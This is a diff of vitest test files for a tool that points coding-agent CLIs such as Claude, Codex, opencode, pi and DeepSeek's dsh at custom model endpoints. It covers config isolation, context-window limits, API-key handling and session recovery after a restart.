sessionsToClean.push(sessionId);
|
||||
const ownDir = join(homedir(), 'client-account');
|
||||
const applied = applyCustomModelInjection(
|
||||
entryOrThrow('claude'),
|
||||
endpoint,
|
||||
'qwen3',
|
||||
sessionId,
|
||||
undefined,
|
||||
undefined,
|
||||
(envVar) => (envVar === 'CLAUDE_CONFIG_DIR' ? ownDir : undefined)
|
||||
);
|
||||
expect(readlinkSync(join(applied!.configDir!, 'projects'))).toBe(join(ownDir, 'projects'));
|
||||
// A dangling directory link is not inert: the CLI's mkdir through it fails ENOENT.
|
||||
expect(statSync(join(ownDir, 'projects')).isDirectory()).toBe(true);
|
||||
rmSync(ownDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it('claude: links projects from the real config dir when the own value is relative or the isolated dir', () => {
|
||||
for (const own of ['relative/claude', customModelConfigDir('sess-cfgdir-self')]) {
|
||||
sessionsToClean.push('sess-cfgdir-self');
|
||||
const applied = applyCustomModelInjection(
|
||||
entryOrThrow('claude'),
|
||||
endpoint,
|
||||
'qwen3',
|
||||
'sess-cfgdir-self',
|
||||
undefined,
|
||||
undefined,
|
||||
() => own
|
||||
);
|
||||
expect(readlinkSync(join(applied!.configDir!, 'projects'))).toBe(join(homedir(), '.claude', 'projects'));
|
||||
rmSync(applied!.configDir!, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it('claude: re-applying to the same session is idempotent (boot-recovery re-apply)', () => {
|
||||
const sessionId = 'sess-cfgdir-3';
|
||||
sessionsToClean.push(sessionId);
|
||||
@@ -103,11 +182,12 @@ describe('applyCustomModelInjection: CLAUDE_CONFIG_DIR isolation', () => {
|
||||
expect(applied?.envOverrides.HOME).toBe(customModelConfigDir(sessionId));
|
||||
});
|
||||
|
||||
it('deepseek: no configDirVar declared, so no config dir is created at all', () => {
|
||||
it('deepseek: creates an isolated profile patch', () => {
|
||||
const sessionId = 'sess-cfgdir-deepseek';
|
||||
sessionsToClean.push(sessionId);
|
||||
const applied = applyCustomModelInjection(entryOrThrow('deepseek'), endpoint, 'qwen3', sessionId);
|
||||
expect(applied?.configDir).toBeUndefined();
|
||||
expect(existsSync(customModelConfigDir(sessionId))).toBe(false);
|
||||
expect(applied?.configDir).toBe(customModelConfigDir(sessionId));
|
||||
expect(existsSync(join(applied!.configDir!, 'cordis.patch.yml'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -188,18 +188,18 @@ describe('custom-model-injection contract (mock server)', () => {
|
||||
expect(mock.requests[0].headers.authorization).toBe('Bearer contract-test-key');
|
||||
});
|
||||
|
||||
it('deepseek: DEEPSEEK_BASE_URL already carries the /v1 suffix dsh itself never adds, reaching the mock at the real path dsh requests', async () => {
|
||||
// Confirmed by reading dsh's own bundled source: it fetches
|
||||
// `${DEEPSEEK_BASE_URL}/chat/completions` verbatim, no /v1 insertion of its own — so
|
||||
// this call (unlike gemini's above) passes DEEPSEEK_BASE_URL to callOpenAiCompat
|
||||
// UNMODIFIED, exactly mirroring what the real harness does, rather than the test
|
||||
// helping it along.
|
||||
it('deepseek: the session patch carries the /v1 base URL and exact model, reaching the mock at the real path', async () => {
|
||||
// dsh fetches `${baseURL}/chat/completions` verbatim, so the patch's baseURL already
|
||||
// carries /v1 and is passed to callOpenAiCompat unmodified.
|
||||
const injection = buildCustomModelInjection(entryOrThrow('deepseek'), endpointFor(mock), 'qwen3');
|
||||
if (injection.kind !== 'env') throw new Error('unreachable');
|
||||
expect(Object.keys(injection.envOverrides).sort()).toEqual(['DEEPSEEK_API_KEY', 'DEEPSEEK_BASE_URL']);
|
||||
expect(injection.envOverrides.DEEPSEEK_BASE_URL).toBe(`${mock.baseUrl}/v1`);
|
||||
if (injection.kind !== 'configDir') throw new Error('unreachable');
|
||||
expect(injection.dirEnvVar).toBe('DSH_HOME');
|
||||
expect(Object.keys(injection.extraEnv ?? {})).toEqual(['CODEMAN_CUSTOM_MODEL_API_KEY']);
|
||||
const provider = JSON.parse(injection.files[0].content)[0].config.providers['codeman-custom'];
|
||||
expect(provider.baseURL).toBe(`${mock.baseUrl}/v1`);
|
||||
expect(provider.models[0].id).toBe('qwen3');
|
||||
|
||||
await callOpenAiCompat(injection.envOverrides.DEEPSEEK_BASE_URL, injection.envOverrides.DEEPSEEK_API_KEY, 'qwen3');
|
||||
await callOpenAiCompat(provider.baseURL, injection.extraEnv!.CODEMAN_CUSTOM_MODEL_API_KEY, 'qwen3');
|
||||
|
||||
expect(mock.requests[0].path).toBe('/v1/chat/completions');
|
||||
expect(mock.requests[0].headers.authorization).toBe('Bearer contract-test-key');
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { parse as parseToml } from 'smol-toml';
|
||||
import { getCli } from '../src/config/cli-registry/index.js';
|
||||
import {
|
||||
buildCustomModelInjection,
|
||||
@@ -112,6 +113,31 @@ describe('buildCustomModelInjection', () => {
|
||||
expect(parsed.provider.custom.models.qwen3).toEqual({});
|
||||
});
|
||||
|
||||
it('opencode: threads a discovered context length into the model limit as the full window (issue #749)', () => {
|
||||
const result = buildCustomModelInjection(entryOrThrow('opencode'), endpoint, 'qwen3', 16384);
|
||||
if (result.kind !== 'env') throw new Error('unreachable');
|
||||
const parsed = JSON.parse(result.envOverrides.OPENCODE_CONFIG_CONTENT);
|
||||
// `limit.context` IS the full window to opencode (it reserves for the reply itself),
|
||||
// so the discovered total passes through; `output` only caps the reply at a quarter.
|
||||
expect(parsed.provider.custom.models.qwen3).toEqual({ limit: { context: 16384, output: 4096 } });
|
||||
});
|
||||
|
||||
it('opencode: caps the response headroom reservation at 8192 for big windows', () => {
|
||||
const result = buildCustomModelInjection(entryOrThrow('opencode'), endpoint, 'qwen3', 262144);
|
||||
if (result.kind !== 'env') throw new Error('unreachable');
|
||||
const parsed = JSON.parse(result.envOverrides.OPENCODE_CONFIG_CONTENT);
|
||||
expect(parsed.provider.custom.models.qwen3).toEqual({ limit: { context: 262144, output: 8192 } });
|
||||
});
|
||||
|
||||
it('opencode: never invents a limit for an unknown or non-finite context length (issue #749 regression)', () => {
|
||||
for (const contextLength of [undefined, NaN]) {
|
||||
const result = buildCustomModelInjection(entryOrThrow('opencode'), endpoint, 'qwen3', contextLength);
|
||||
if (result.kind !== 'env') throw new Error('unreachable');
|
||||
const parsed = JSON.parse(result.envOverrides.OPENCODE_CONFIG_CONTENT);
|
||||
expect(parsed.provider.custom.models.qwen3).toEqual({});
|
||||
}
|
||||
});
|
||||
|
||||
it('codex: configDir writes an isolated config.toml with model/base_url, and the key rides as extraEnv (never a literal TOML field)', () => {
|
||||
const result = buildCustomModelInjection(entryOrThrow('codex'), endpoint, 'qwen3');
|
||||
expect(result.kind).toBe('configDir');
|
||||
@@ -133,6 +159,30 @@ describe('buildCustomModelInjection', () => {
|
||||
expect(result.files[0].content).toContain('model = "weird\\"model"');
|
||||
});
|
||||
|
||||
it('codex: writes the discovered window as TOP-LEVEL model_context_window with a 75% compact limit (issue #750)', () => {
|
||||
const result = buildCustomModelInjection(entryOrThrow('codex'), endpoint, 'qwen3', 16384);
|
||||
if (result.kind !== 'configDir') throw new Error('unreachable');
|
||||
const doc = parseToml(result.files[0].content) as Record<string, unknown>;
|
||||
// Top-level is the shape codex reads: parked under [model_providers.custom] (its
|
||||
// provider table) the same keys would be silently ignored by codex itself.
|
||||
expect(doc.model_context_window).toBe(16384);
|
||||
expect(doc.model_auto_compact_token_limit).toBe(12288); // 75% of the window, floored
|
||||
const provider = (doc.model_providers as Record<string, Record<string, unknown>>).custom;
|
||||
expect(provider.model_context_window).toBeUndefined();
|
||||
expect(provider.model_auto_compact_token_limit).toBeUndefined();
|
||||
});
|
||||
|
||||
it('codex: writes neither context line for an unknown, non-finite or zero context length', () => {
|
||||
for (const contextLength of [undefined, NaN, 0]) {
|
||||
const result = buildCustomModelInjection(entryOrThrow('codex'), endpoint, 'qwen3', contextLength);
|
||||
if (result.kind !== 'configDir') throw new Error('unreachable');
|
||||
const doc = parseToml(result.files[0].content) as Record<string, unknown>;
|
||||
expect(doc.model_context_window, String(contextLength)).toBeUndefined();
|
||||
expect(doc.model_auto_compact_token_limit, String(contextLength)).toBeUndefined();
|
||||
expect(doc.model).toBe('qwen3'); // the rest of the file is still written
|
||||
}
|
||||
});
|
||||
|
||||
it('pi: configDir writes .pi/agent/models.json, redirected via HOME (verified live — PI_CONFIG_DIR does nothing for pi)', () => {
|
||||
const result = buildCustomModelInjection(entryOrThrow('pi'), endpoint, 'qwen3');
|
||||
if (result.kind !== 'configDir') throw new Error('unreachable');
|
||||
@@ -144,6 +194,24 @@ describe('buildCustomModelInjection', () => {
|
||||
expect(parsed.providers.custom.models).toEqual([{ id: 'qwen3' }]); // array, NOT keyed by id
|
||||
});
|
||||
|
||||
it('pi: the model entry carries the endpoint window and a reply share of it, or pi takes the model for a 128k one', () => {
|
||||
const models = (contextLength?: number) => {
|
||||
const result = buildCustomModelInjection(entryOrThrow('pi'), endpoint, 'qwen3.6:35b-a3b', contextLength);
|
||||
if (result.kind !== 'configDir') throw new Error('unreachable');
|
||||
return JSON.parse(result.files[0].content).providers.custom.models;
|
||||
};
|
||||
// The full window, and 8192 reply tokens at most (measured on pi 1.5.2: the request then
|
||||
// carries max_tokens 8192 instead of its own 16384).
|
||||
expect(models(65536)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 65536, maxTokens: 8192 }]);
|
||||
expect(models(131072.9)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 131072, maxTokens: 8192 }]);
|
||||
// A small window keeps three quarters for the prompt.
|
||||
expect(models(16384)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 16384, maxTokens: 4096 }]);
|
||||
// Unknown stays unknown: no limit is invented.
|
||||
for (const contextLength of [undefined, NaN, 0, -1, Infinity]) {
|
||||
expect(models(contextLength), String(contextLength)).toEqual([{ id: 'qwen3.6:35b-a3b' }]);
|
||||
}
|
||||
});
|
||||
|
||||
it('omp: configDir writes .omp/agent/models.yml, redirected via HOME (verified live end-to-end)', () => {
|
||||
const result = buildCustomModelInjection(entryOrThrow('omp'), endpoint, 'qwen3');
|
||||
if (result.kind !== 'configDir') throw new Error('unreachable');
|
||||
@@ -179,29 +247,32 @@ describe('buildCustomModelInjection', () => {
|
||||
expect(result.extraEnv).toEqual({ XAI_API_KEY: 'my-key' });
|
||||
});
|
||||
|
||||
it('deepseek: env kind sets base URL (with a /v1 suffix appended) and key, no model var', () => {
|
||||
// appendV1Suffix is REQUIRED here, not cosmetic: confirmed by reading dsh's own
|
||||
// bundled source (@deepseek-ai/dsh-llm-deepseek) that it builds the request URL as
|
||||
// `${DEEPSEEK_BASE_URL}/chat/completions` with no "/v1" of its own, while
|
||||
// llama-swap/llama.cpp only serves "/v1/chat/completions" — without this, every
|
||||
// request 404s (confirmed live; this is the fix for the originally-reported
|
||||
// "dsh: HTTP_404: DeepSeek API error (HTTP 404)").
|
||||
it('deepseek: isolates the selected model route and passes its key by reference', () => {
|
||||
const result = buildCustomModelInjection(entryOrThrow('deepseek'), endpoint, 'qwen3');
|
||||
if (result.kind !== 'env') throw new Error('unreachable');
|
||||
expect(result.envOverrides).toEqual({
|
||||
DEEPSEEK_BASE_URL: 'http://192.168.1.50:8080/v1',
|
||||
DEEPSEEK_API_KEY: 'my-key',
|
||||
});
|
||||
if (result.kind !== 'configDir') throw new Error('Expected isolated DeepSeek config');
|
||||
expect(result.dirEnvVar).toBe('DSH_HOME');
|
||||
expect(result.extraEnv).toEqual({ CODEMAN_CUSTOM_MODEL_API_KEY: 'my-key' });
|
||||
expect(result.files[0].content).not.toContain('my-key');
|
||||
const patch = JSON.parse(result.files[0].content);
|
||||
// The patch references the DEDICATED var by name, never dsh's own DEEPSEEK_API_KEY:
|
||||
// dsh's llm-deepseek/web-search rows read that too and would leak this key to
|
||||
// api.deepseek.com on an in-session /model switch back to the official route.
|
||||
expect(
|
||||
patch.find((row: { id: string }) => row.id === 'llm-pi-ai').config.providers['codeman-custom'].apiKeyEnv
|
||||
).toBe('CODEMAN_CUSTOM_MODEL_API_KEY');
|
||||
expect(result.files[0].content).not.toContain('DEEPSEEK_API_KEY');
|
||||
expect(patch.find((row: { id: string }) => row.id === 'dsh-tui').config.model).toBe('qwen3');
|
||||
});
|
||||
|
||||
it('deepseek: appending the /v1 suffix is idempotent against a baseUrl that already ends in /v1', () => {
|
||||
it('deepseek: preserves an existing version suffix', () => {
|
||||
const result = buildCustomModelInjection(
|
||||
entryOrThrow('deepseek'),
|
||||
{ ...endpoint, baseUrl: 'http://192.168.1.50:8080/v1' },
|
||||
{ ...endpoint, baseUrl: endpoint.baseUrl + '/v1' },
|
||||
'qwen3'
|
||||
);
|
||||
if (result.kind !== 'env') throw new Error('unreachable');
|
||||
expect(result.envOverrides.DEEPSEEK_BASE_URL).toBe('http://192.168.1.50:8080/v1');
|
||||
if (result.kind !== 'configDir') throw new Error('Expected isolated DeepSeek config');
|
||||
expect(result.files[0].content).toContain('http://192.168.1.50:8080/v1');
|
||||
expect(result.files[0].content).not.toContain('/v1/v1');
|
||||
});
|
||||
|
||||
it('antigravity: unsupported', () => {
|
||||
@@ -232,7 +303,9 @@ describe('launchModel (the model launch param that selects the injected provider
|
||||
});
|
||||
|
||||
it('CLIs whose config selects the model on its own declare none', () => {
|
||||
for (const id of ['claude', 'opencode', 'codex', 'gemini', 'deepseek']) {
|
||||
// codex now declares launchModel (selected-model launch override) and is covered by
|
||||
// its own restart coverage, not here.
|
||||
for (const id of ['claude', 'opencode', 'gemini', 'deepseek']) {
|
||||
const result = buildCustomModelInjection(entryOrThrow(id), endpoint, 'qwen3');
|
||||
if (result.kind === 'unsupported') throw new Error('unreachable');
|
||||
expect(result.launchModel, id).toBeUndefined();
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
* reinitializes on a restart.
|
||||
*
|
||||
* Uses the same JSDOM + `runScripts: "dangerously"` approach as
|
||||
* test/custom-model-run-menu-ui.test.ts, extended with the DOM elements runCodex() (the
|
||||
* test/custom-model-run-menu-ui.test.ts, extended with the DOM elements the codex launch (the
|
||||
* CLI this was reported against) reads.
|
||||
*
|
||||
* Port: none.
|
||||
@@ -221,7 +221,7 @@ describe('_quickStartWithCustomModelConfirm', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('runCodex(): one-shot custom-model launch (the CLI this was reported against)', () => {
|
||||
describe('the codex launch: one-shot custom-model launch (the CLI this was reported against)', () => {
|
||||
it('folds _pendingCustomModelForLaunch into the quick-start body as customModel', async () => {
|
||||
const { win, app } = bootApp();
|
||||
(win as unknown as { fetch: typeof fetch }).fetch = (async (url: string, opts?: any) => {
|
||||
@@ -232,7 +232,7 @@ describe('runCodex(): one-shot custom-model launch (the CLI this was reported ag
|
||||
}) as unknown as typeof fetch;
|
||||
|
||||
app._pendingCustomModelForLaunch = { endpointId: 'llama-box', modelId: 'qwen3' };
|
||||
await app.runCodex();
|
||||
await app._runCliMode('codex');
|
||||
expect(app._lastReportedError).toBeUndefined();
|
||||
});
|
||||
|
||||
@@ -245,7 +245,7 @@ describe('runCodex(): one-shot custom-model launch (the CLI this was reported ag
|
||||
return { json: async () => ({ success: true, data: { sessionId: 's1' } }) };
|
||||
}) as unknown as typeof fetch;
|
||||
|
||||
await app.runCodex();
|
||||
await app._runCliMode('codex');
|
||||
expect(app._lastReportedError).toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,91 @@
|
||||
/**
|
||||
* @fileoverview Boot recovery rebuilds a saved custom-model selection through the SAME
|
||||
* context-length resolution the routes use: the model's discovered figure, falling back to
|
||||
* the endpoint's `defaultContextLength` (`resolveCustomModelContextLength`). Before the
|
||||
* shared helper, `_rebuildCustomModelEnv` read `modelContextLengths` alone, so a session
|
||||
* on a model that only the endpoint default covers came back from a Codeman restart with
|
||||
* `CLAUDE_CODE_MAX_CONTEXT_TOKENS` (or a config file's context figure) silently gone,
|
||||
* re-arming exactly the window overflow the var exists to prevent.
|
||||
*
|
||||
* `_rebuildCustomModelEnv` reads no `this` state (it re-derives everything from the endpoint
|
||||
* store and the Session it is handed), so it is driven straight off the prototype with an
|
||||
* empty receiver: `restoreMuxSessions()` itself cannot be reached under vitest, the same
|
||||
* constraint recorded in test/session-model-recovery.test.ts.
|
||||
*/
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { getDataDir } from '../src/config/instance.js';
|
||||
import { writeCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
|
||||
import { customModelConfigDir, removeConfigDir, type AppliedCustomModel } from '../src/custom-model-injection-apply.js';
|
||||
import { Session } from '../src/session.js';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import type { CustomModelBookkeeping } from '../src/types/session.js';
|
||||
|
||||
type RebuildFn = (session: Session, saved: CustomModelBookkeeping) => Promise<AppliedCustomModel | undefined>;
|
||||
|
||||
/** The real method, with an empty receiver, see the file header for why that is sound. */
|
||||
function rebuildCustomModelEnv(session: Session, saved: CustomModelBookkeeping) {
|
||||
const fn = (WebServer.prototype as unknown as { _rebuildCustomModelEnv: RebuildFn })._rebuildCustomModelEnv;
|
||||
expect(typeof fn, '_rebuildCustomModelEnv vanished from WebServer.prototype').toBe('function');
|
||||
return fn.call({}, session, saved);
|
||||
}
|
||||
|
||||
function endpoint(overrides: Partial<CustomModelHost> = {}): CustomModelHost {
|
||||
return {
|
||||
id: 'ep',
|
||||
label: 'Ep',
|
||||
baseUrl: 'http://localhost:8080',
|
||||
apiKey: 'recovery-probe-key',
|
||||
models: ['qwen3'],
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe('_rebuildCustomModelEnv: context-length fallback on boot recovery', () => {
|
||||
const configs: string[] = [];
|
||||
|
||||
afterEach(() => {
|
||||
for (const id of configs.splice(0)) removeConfigDir(customModelConfigDir(id));
|
||||
});
|
||||
|
||||
it('falls back to the endpoint defaultContextLength when discovery recorded no per-model figure', async () => {
|
||||
await writeCustomModelHosts(getDataDir(), [endpoint({ defaultContextLength: 32768 })]);
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'claude' });
|
||||
configs.push(session.id);
|
||||
|
||||
const env = await rebuildCustomModelEnv(session, { endpointId: 'ep', modelId: 'qwen3', envKeys: [] });
|
||||
|
||||
expect(env?.envOverrides.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBe('32768');
|
||||
});
|
||||
|
||||
it('a discovered per-model figure still wins over the endpoint default', async () => {
|
||||
await writeCustomModelHosts(getDataDir(), [
|
||||
endpoint({ modelContextLengths: { qwen3: 131072 }, defaultContextLength: 32768 }),
|
||||
]);
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'claude' });
|
||||
configs.push(session.id);
|
||||
|
||||
const env = await rebuildCustomModelEnv(session, { endpointId: 'ep', modelId: 'qwen3', envKeys: [] });
|
||||
|
||||
expect(env?.envOverrides.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBe('131072');
|
||||
});
|
||||
|
||||
it('states nothing rather than guessing when neither source knows a window', async () => {
|
||||
await writeCustomModelHosts(getDataDir(), [endpoint()]);
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'claude' });
|
||||
configs.push(session.id);
|
||||
|
||||
const env = await rebuildCustomModelEnv(session, { endpointId: 'ep', modelId: 'qwen3', envKeys: [] });
|
||||
|
||||
expect(env?.envOverrides.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBeUndefined();
|
||||
});
|
||||
|
||||
it('drops the selection to undefined (kept for clearing) when the endpoint no longer exists', async () => {
|
||||
await writeCustomModelHosts(getDataDir(), []);
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'claude' });
|
||||
configs.push(session.id);
|
||||
|
||||
await expect(rebuildCustomModelEnv(session, { endpointId: 'gone', modelId: 'qwen3', envKeys: [] })).resolves.toBe(
|
||||
undefined
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,217 @@
|
||||
/**
|
||||
* @fileoverview Boot recovery re-derives a saved custom-model selection through
|
||||
* `_rebuildCustomModelEnv` and rebuilds the BOOKKEEPING from what the CURRENT recipe
|
||||
* applied, not from the saved record. A selection persisted while deepseek still used
|
||||
* the old env redirect comes back env-shaped (envKeys `DEEPSEEK_BASE_URL`/
|
||||
* `DEEPSEEK_API_KEY`, no `configDir`) although the recipe now writes a per-session patch
|
||||
* home: restoring the saved record unchanged left `DSH_HOME` on a generated config dir
|
||||
* that clearing could never delete.
|
||||
*
|
||||
* Real-home resolution reads the record's `ownEnv` on this path, never the session's
|
||||
* overrides: the first apply's links are still in the generated directory, and an entry
|
||||
* that is missing links from the own home, or with none from the server's `DSH_HOME` or
|
||||
* the recipe's `realHomeFallback` (~/.dsh), see `_rebuildCustomModelEnv`'s comment. The
|
||||
* own home itself comes back on clear from `ownEnv`, the last block here.
|
||||
*
|
||||
* `_restoreCustomModel` reads no `this` state beyond the rebuild helper (it re-derives
|
||||
* everything from the endpoint store and the Session it is handed), so it is driven off
|
||||
* the prototype with a minimal receiver: `restoreMuxSessions()` itself cannot be
|
||||
* reached under vitest, the same constraint recorded in test/session-model-recovery.test.ts.
|
||||
*/
|
||||
import { existsSync, mkdirSync, readlinkSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { homedir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { getDataDir } from '../src/config/instance.js';
|
||||
import { writeCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
|
||||
import { customModelConfigDir, removeConfigDir } from '../src/custom-model-injection-apply.js';
|
||||
import { Session } from '../src/session.js';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import type { CustomModelBookkeeping } from '../src/types/session.js';
|
||||
|
||||
/** The real pair, on a receiver that only carries the rebuild helper, see the header. */
|
||||
async function restoreCustomModel(session: Session, saved: CustomModelBookkeeping): Promise<void> {
|
||||
const proto = WebServer.prototype as unknown as {
|
||||
_rebuildCustomModelEnv: (session: Session, saved: CustomModelBookkeeping) => Promise<unknown>;
|
||||
_restoreCustomModel: (session: Session, saved: CustomModelBookkeeping) => Promise<void>;
|
||||
};
|
||||
expect(typeof proto._restoreCustomModel, '_restoreCustomModel vanished from WebServer.prototype').toBe('function');
|
||||
await proto._restoreCustomModel.call({ _rebuildCustomModelEnv: proto._rebuildCustomModelEnv }, session, saved);
|
||||
}
|
||||
|
||||
function endpoint(): CustomModelHost {
|
||||
return {
|
||||
id: 'ep',
|
||||
label: 'Ep',
|
||||
baseUrl: 'http://localhost:8080',
|
||||
apiKey: 'recovery-probe-key',
|
||||
models: ['qwen3'],
|
||||
};
|
||||
}
|
||||
|
||||
describe('_restoreCustomModel: bookkeeping rebuilt from the current recipe', () => {
|
||||
const configs: string[] = [];
|
||||
|
||||
afterEach(() => {
|
||||
for (const id of configs.splice(0)) removeConfigDir(customModelConfigDir(id));
|
||||
vi.unstubAllEnvs();
|
||||
});
|
||||
|
||||
it('carries the configDir and env-key union for a selection saved by the old env recipe', async () => {
|
||||
// Saved exactly as 1.31.0-1.47.0 persisted a deepseek selection: the env recipe's two
|
||||
// keys, no configDir. The rebuilt record must carry the per-session config dir the
|
||||
// CURRENT recipe wrote (so clearing deletes it) while KEEPING the saved keys, which
|
||||
// the tmux session may still carry `setenv`s for (the union is what a clear unsets).
|
||||
const dshHome = join(homedir(), 'codeman-recovery-dsh-home');
|
||||
mkdirSync(join(dshHome, 'profiles'), { recursive: true });
|
||||
vi.stubEnv('DSH_HOME', dshHome);
|
||||
await writeCustomModelHosts(getDataDir(), [endpoint()]);
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
|
||||
configs.push(session.id);
|
||||
|
||||
await restoreCustomModel(session, {
|
||||
endpointId: 'ep',
|
||||
modelId: 'qwen3',
|
||||
label: 'Ep',
|
||||
envKeys: ['DEEPSEEK_BASE_URL', 'DEEPSEEK_API_KEY'],
|
||||
});
|
||||
|
||||
const persisted = session.getCustomModelForPersist();
|
||||
expect(persisted?.configDir).toBe(customModelConfigDir(session.id));
|
||||
expect(persisted?.launchModel).toBeUndefined();
|
||||
expect(new Set(persisted?.envKeys)).toEqual(
|
||||
new Set(['DEEPSEEK_BASE_URL', 'DEEPSEEK_API_KEY', 'DSH_HOME', 'CODEMAN_CUSTOM_MODEL_API_KEY'])
|
||||
);
|
||||
rmSync(dshHome, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it('restores an env-shaped record unchanged when the endpoint is gone, so a clear still works', async () => {
|
||||
await writeCustomModelHosts(getDataDir(), []);
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
|
||||
const saved: CustomModelBookkeeping = {
|
||||
endpointId: 'gone',
|
||||
modelId: 'qwen3',
|
||||
label: 'Gone',
|
||||
envKeys: ['DEEPSEEK_BASE_URL', 'DEEPSEEK_API_KEY'],
|
||||
};
|
||||
|
||||
await restoreCustomModel(session, saved);
|
||||
|
||||
expect(session.getCustomModelForPersist()).toEqual(saved);
|
||||
});
|
||||
|
||||
describe("a session's own value across a restart", () => {
|
||||
const OWN_HOME = '/home/u/my-dsh';
|
||||
const ORIGINAL_MULTIUSER = process.env.CODEMAN_MULTIUSER;
|
||||
|
||||
afterEach(() => {
|
||||
if (ORIGINAL_MULTIUSER === undefined) delete process.env.CODEMAN_MULTIUSER;
|
||||
else process.env.CODEMAN_MULTIUSER = ORIGINAL_MULTIUSER;
|
||||
});
|
||||
|
||||
/** What a previous run left in state.json for a deepseek session on its own home. */
|
||||
function savedByPreviousRun(): CustomModelBookkeeping {
|
||||
const previous = new Session({ workingDir: '/tmp', mode: 'deepseek', envOverrides: { DSH_HOME: OWN_HOME } });
|
||||
configs.push(previous.id);
|
||||
previous.setCustomModel(
|
||||
{
|
||||
endpointId: 'ep',
|
||||
modelId: 'qwen3',
|
||||
envKeys: ['DSH_HOME', 'CODEMAN_CUSTOM_MODEL_API_KEY'],
|
||||
configDir: customModelConfigDir(previous.id),
|
||||
homeEnvVar: 'DSH_HOME',
|
||||
},
|
||||
{ DSH_HOME: customModelConfigDir(previous.id), CODEMAN_CUSTOM_MODEL_API_KEY: 'k' }
|
||||
);
|
||||
return JSON.parse(JSON.stringify(previous.getCustomModelForPersist())) as CustomModelBookkeeping;
|
||||
}
|
||||
|
||||
it('gets DSH_HOME back from state.json, which is the only copy left', async () => {
|
||||
await writeCustomModelHosts(getDataDir(), [endpoint()]);
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
|
||||
configs.push(session.id);
|
||||
|
||||
await restoreCustomModel(session, savedByPreviousRun());
|
||||
expect(session.envOverrideValue('DSH_HOME')).toBe(customModelConfigDir(session.id));
|
||||
|
||||
session.setCustomModel(undefined);
|
||||
expect(session.envOverrideValue('DSH_HOME')).toBe(OWN_HOME);
|
||||
});
|
||||
|
||||
it('never fills an entry the own home lacks from the server home', async () => {
|
||||
// The first apply skipped `settings.yaml`, since the own home has none. Recovery finds
|
||||
// that gap and, with no lookup, used to fill it with the server's settings.
|
||||
const serverHome = join(homedir(), 'codeman-recovery-server-dsh');
|
||||
const ownHome = join(homedir(), 'codeman-recovery-own-dsh');
|
||||
mkdirSync(join(ownHome, 'profiles'), { recursive: true });
|
||||
mkdirSync(serverHome, { recursive: true });
|
||||
writeFileSync(join(serverHome, 'settings.yaml'), 'server: true\n');
|
||||
vi.stubEnv('DSH_HOME', serverHome);
|
||||
await writeCustomModelHosts(getDataDir(), [endpoint()]);
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
|
||||
configs.push(session.id);
|
||||
|
||||
await restoreCustomModel(session, {
|
||||
endpointId: 'ep',
|
||||
modelId: 'qwen3',
|
||||
envKeys: ['DSH_HOME', 'CODEMAN_CUSTOM_MODEL_API_KEY'],
|
||||
homeEnvVar: 'DSH_HOME',
|
||||
ownEnv: { DSH_HOME: ownHome },
|
||||
});
|
||||
|
||||
const configDir = customModelConfigDir(session.id);
|
||||
expect(readlinkSync(join(configDir, 'profiles'))).toBe(join(ownHome, 'profiles'));
|
||||
expect(existsSync(join(configDir, 'settings.yaml'))).toBe(false);
|
||||
rmSync(ownHome, { recursive: true, force: true });
|
||||
rmSync(serverHome, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it('keeps it when the endpoint is gone', async () => {
|
||||
await writeCustomModelHosts(getDataDir(), []);
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
|
||||
|
||||
await restoreCustomModel(session, savedByPreviousRun());
|
||||
|
||||
session.setCustomModel(undefined);
|
||||
expect(session.envOverrideValue('DSH_HOME')).toBe(OWN_HOME);
|
||||
});
|
||||
|
||||
it('never reads what the previous run injected as the session own value', async () => {
|
||||
// A record from before `ownEnv` existed. `__envOverrides` holds the isolated
|
||||
// CLAUDE_CONFIG_DIR and the injected limit, which must go on clear, or the session
|
||||
// stays pinned to a directory the clear just deleted.
|
||||
await writeCustomModelHosts(getDataDir(), [endpoint()]);
|
||||
const session = new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'claude',
|
||||
envOverrides: { CLAUDE_CONFIG_DIR: '/isolated/old', CLAUDE_CODE_MAX_CONTEXT_TOKENS: '32768' },
|
||||
});
|
||||
configs.push(session.id);
|
||||
|
||||
await restoreCustomModel(session, {
|
||||
endpointId: 'ep',
|
||||
modelId: 'qwen3',
|
||||
envKeys: ['CLAUDE_CONFIG_DIR', 'CLAUDE_CODE_MAX_CONTEXT_TOKENS'],
|
||||
});
|
||||
|
||||
session.setCustomModel(undefined);
|
||||
expect(session.envOverrideValue('CLAUDE_CONFIG_DIR')).toBeUndefined();
|
